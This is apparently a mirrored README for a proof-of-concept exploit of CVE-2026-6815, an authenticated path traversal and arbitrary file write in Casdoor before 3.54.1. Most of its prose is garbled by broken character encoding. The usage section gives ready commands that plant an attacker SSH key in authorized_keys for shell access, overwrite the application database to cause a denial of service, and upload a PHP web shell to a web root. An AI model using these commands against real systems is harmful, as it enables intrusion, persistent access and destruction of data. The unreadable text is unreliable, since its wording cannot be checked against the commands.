## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DANILO-DELLORCO-CVE-2026-6815
# CVE-2026-6815 PoC/Exploit: Casdoor <3.54.1 ๊ฒฝ๋ก ํ์ ๋ฐ ์์ ํ์ผ ์ฐ๊ธฐ (์ธ์ฆ๋จ)
์ด ์ ์ฅ์๋ Casdoor์ ์์ ํ์ผ ์ฐ๊ธฐ ๋ฐ ๊ฒฝ๋ก ํ์ ์ทจ์ฝ์ ์ธ CVE-2026-6815์ ๋ํ PoC(Proof of Concept) ์ต์คํ๋ก์์ ํฌํจํฉ๋๋ค.
์ด ์ทจ์ฝ์ ์ ๋ฒ์ 3.54.1์์ ์์ ๋์์ต๋๋ค.
## ์๊ตฌ ์ฌํญ
๊ณต๊ฒฉ์๋ Casdoor ์ธ์คํด์ค์ ๊ด๋ฆฌ์ ๊ถํ์ผ๋ก ์ธ์ฆ๋์ด ์์ด์ผ ํ๋ฉฐ, ์คํ ๋ฆฌ์ง ๊ณต๊ธ์๋ฅผ ์์ฑ ๋ฐ/๋๋ ํธ์งํ ์ ์๋ ๊ถํ์ ๊ฐ์ง ๋๊ธ์ ์ฌ์ฉ์์ฌ์ผ ํฉ๋๋ค.
## ์ํฅ
* **์๊ฒฉ ์ฝ๋ ์คํ (RCE)** : `.ssh/authorized_keys`, crontab, ์น ๋ฃจํธ์ ๊ฐ์ ๋ฏผ๊ฐํ ์์น์ ํ์ผ์ ์์ฑํ์ฌ ์คํํ ์ ์์ต๋๋ค.
* **์๋น์ค ๊ฑฐ๋ถ (DoS)** : ์ ํ๋ฆฌ์ผ์ด์
๋ฐ์ดํฐ๋ฒ ์ด์ค(`casdoor.db`)๋ ํต์ฌ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์์์ ํ์ผ๋ก ๋ฎ์ด์จ ์ ํ๋ฆฌ์ผ์ด์
์ ์ฆ์ ์ค์ง์ํฌ ์ ์์ต๋๋ค.
## ๊ธฐ์ ์ ์ธ๋ถ ์ฌํญ
Casdoor๋ ๊ด๋ฆฌ์๊ฐ ์คํ ๋ฆฌ์ง ๊ณต๊ธ์๋ฅผ ๊ตฌ์ฑํ ์ ์๊ฒ ํฉ๋๋ค. `Local File System` ๊ณต๊ธ์๋ ๋ฆฌ์์ค ์
๋ก๋ ์ `pathPrefix` ๊ตฌ์ฑ๊ณผ `fullFilePath` ๋งค๊ฐ๋ณ์๋ฅผ ์ ๋๋ก ๊ฒ์ฆํ์ง ๋ชปํฉ๋๋ค.
๋๋ ํฐ๋ฆฌ ํธ๋๋ฒ์ค ์ํ์ค(`../`)๋ฅผ ์ฌ์ฉํ๋ฉด ์ธ์ฆ๋ ๊ด๋ฆฌ์๊ฐ ์ ์ฉ ์คํ ๋ฆฌ์ง ๋๋ ํฐ๋ฆฌ๋ฅผ ๋ฒ์ด๋ Casdoor ํ๋ก์ธ์ค์ ๊ถํ์ด ์๋ ๋ชจ๋ ์์น์ ํ์ผ์ ์ธ ์ ์์ต๋๋ค.
์ด ์ทจ์ฝ์ ์ ๋ค์ ์์น์ ๋ถ์ถฉ๋ถํ ๊ฒฝ๋ก ๊ฒ์ฆ์์ ๋ฐ์ํฉ๋๋ค:
* `object/provider.go`: ์์ฑ/์
๋ฐ์ดํธ ์ `pathPrefix`์ ๋ํ ๊ฒ์ฆ์ด ์์.
* `storage/local_file_system.go`: `GetFullPath` ๋ฉ์๋๋ ํ์ธ๋ ๊ฒฝ๋ก๊ฐ ์๋๋ ์๋๋ฐ์ค ๋ด์ ์ ์ง๋๋์ง ๊ฒ์ฆํ์ง ์์.
## ์ฌ์ฉ๋ฒ
1. ์์กด์ฑ ์ค์น:
root@kitploit:~
pip install -r requirements.txt
2. ์ต์คํ๋ก์ ์คํ:
root@kitploit:~
python3 poc.py --url http://target:8000 --file local_file --rpath /home/casdoor/new_remote_file
## ์ฌ์ฉ ์์
### 1\. RCE๋ฅผ ์ํ SSH ํค ์ฃผ์
`casdoor` ์ฌ์ฉ์์ `authorized_keys` ํ์ผ์ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๊ณต๊ฐ ํค๋ฅผ ์์ฑํ์ฌ SSH ์ก์ธ์ค๋ฅผ ํ๋ํฉ๋๋ค.
SSH ํค ์์ฑ:
root@kitploit:~
ssh-keygen -f casdoor_rce
์์ฑ๋ ๊ณต๊ฐ ํค๋ก `authorized_keys`๋ฅผ ๋ฎ์ด์๋๋ค:
root@kitploit:~
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file casdoor_rce.pub --rpath /home/casdoor/.ssh/authorized_keys
๊ฐ์ธ ํค๋ฅผ ์ฌ์ฉํ์ฌ ์๊ฒฉ ํธ์คํธ์์ SSH ์
ธ์ ํ๋ํฉ๋๋ค:
root@kitploit:~
ssh -i ./casdoor_rce casdoor@target
### 2\. ์ง์์ DoS (๋ฐ์ดํฐ๋ฒ ์ด์ค ์์)
์ ํ๋ฆฌ์ผ์ด์
์ ๋ก์ปฌ ๋ฐ์ดํฐ๋ฒ ์ด์ค ํ์ผ(์: `casdoor.db`)์ ๋ฎ์ด์จ ์๋น์ค ๊ฑฐ๋ถ๋ฅผ ์ ๋ฐํฉ๋๋ค.
root@kitploit:~
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db
### 3\. ์น ์
ธ ์
๋ก๋ (๋ณด์กฐ ์น ๋ฃจํธ)
์๋ฒ๊ฐ ๋์ผํ ํ์ผ ์์คํ
์์ ๋ณด์กฐ ์น ์๋ฒ(์: Apache/Nginx)๋ฅผ ํธ์คํ
ํ๋ ๊ฒฝ์ฐ, ๋ฌธ์ ๋ฃจํธ์ ์น ์
ธ์ ์์ฑํฉ๋๋ค.
root@kitploit:~
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php
### 4\. ์ฌ์ฉ์ ์ง์ ์กฐ์ง ๋ฐ ์ ํ๋ฆฌ์ผ์ด์
ํน์ ์กฐ์ง ๋ฐ ์ ํ๋ฆฌ์ผ์ด์
(๊ธฐ๋ณธ๊ฐ์ธ `built-in` ๋ฐ `app-built-in`์ด ์๋)์ ๋ํ ๊ด๋ฆฌ์ ์๊ฒฉ ์ฆ๋ช
์ด ์๋ ๊ฒฝ์ฐ `--orgname` ๋ฐ `--appname`์ ์ฌ์ฉํ์ฌ ์ง์ ํฉ๋๋ค.
root@kitploit:~
python3 poc.py --url http://target:8000 --usr custom_admin --psw P@ssw0rd --orgname my-org --appname my-app --file local_file.txt --rpath /tmp/pwned.txt
## ์ฐธ๊ณ ์๋ฃ
* CERT/CC Vulnerability Note VU#937808
* CVE-2026-6815 on CVE.org
* Red Hat Security Advisory: CVE-2026-6815
## ๋ฉด์ฑ
์กฐํญ
์ด ์ํํธ์จ์ด๋ ๊ต์ก ๋ฐ ์ธ๊ฐ๋ ๋ณด์ ํ
์คํธ ๋ชฉ์ ์ผ๋ก๋ง ์ ๊ณต๋ฉ๋๋ค. ์์ฑ์๋ ์ด ์ ๋ณด์ ์ค์ฉ์ ๋ํด ์ฑ
์์ ์ง์ง ์์ต๋๋ค.
## ์์ฑ์
์ทจ์ฝ์ ๋ฐ๊ฒฌ ๋ฐ PoC ๊ฐ๋ฐ: **Danilo Dell'Orco (sixpain)**.